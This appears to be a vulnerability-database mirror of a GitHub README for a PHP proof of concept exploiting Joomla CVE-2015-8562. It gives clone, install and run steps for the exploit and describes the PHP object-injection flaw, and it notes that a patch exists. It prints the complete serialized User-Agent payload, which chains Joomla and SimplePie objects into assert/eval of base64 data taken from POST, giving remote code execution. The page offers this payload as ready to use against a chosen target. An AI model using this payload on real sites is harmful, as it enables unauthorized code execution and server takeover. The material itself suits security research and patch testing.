来源

关联漏洞

描述

A proof of concept for Joomla's CVE-2015-8562 vulnerability

介绍

# Joomla-CVE-2015-8562-PHP-POC
A proof of concept for Joomla's CVE-2015-8562 vulnerability

![Preview](http://eih.bz/s1/testjfjy.gif)

## Intro

This PoC is a near 1:1 copy of Gary's python implementation hosted at [exploit-db](https://www.exploit-db.com/exploits/38977/).

## Use it

It's very easy to install:

    git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git
    cd Joomla-CVE-2015-8562-PHP-POC
    composer install

Once composer has everything installed you'll need to change `$target` in `exploit.php`.

After that you're ready to go:

    php exploit.php

### CVE-2015-8562

In December 2015 a vulnerability was found in Joomla. It allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header.

This vulnerability hit *all* versions of Joomla. A patch for v1.5.x, v2.5x and v3.x is already [released](https://github.com/joomla/joomla-cms/releases/tag/3.4.6).

If you are running PHP >= 5.4.45, >= 5.5.29 or >= 5.6.13 you are fine as this exploit also utilises [CVE-2015-6835](https://bugs.php.net/bug.php?id=70219). 

Nikos Verschore from PatrolServer made a very detailed [blog post](https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/) and was a major help at understanding this vulnerability. You can use their [mini-scanner](https://scan.patrolserver.com/joomla/CVE-2015-8562) for free to check if your site is at risk.

#### The real exploit

This is what the sent `User-Agent` header looks like:
```
jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{
  s:4:"\0\0\0a";
  O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";
  a:1:{
    i:0;
    a:2:{
      i:0;
      O:9:"SimplePie":5:{
        s:8:"sanitize";
        O:20:"JDatabaseDriverMysql":0:{}
        s:5:"cache";
        b:1;
        s:19:"cache_name_function";
        s:6:"assert";
        s:10:"javascript";
        i:9999;
        s:8:"feed_url";
        s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";
      }
      i:1;
      s:4:"init";
    }
  }
  s:13:"\0\0\0connection";
  i:1;
}
```

文件快照

 [4.0K]  /data/pocs/70c0872880a9b0dee9391cacaad4791f0cf7f061
├── [ 333]  composer.json
├── [1.5K]  exploit.php
├── [1.1K]  LICENSE
└── [2.1K]  README.md

0 directories, 4 files

备注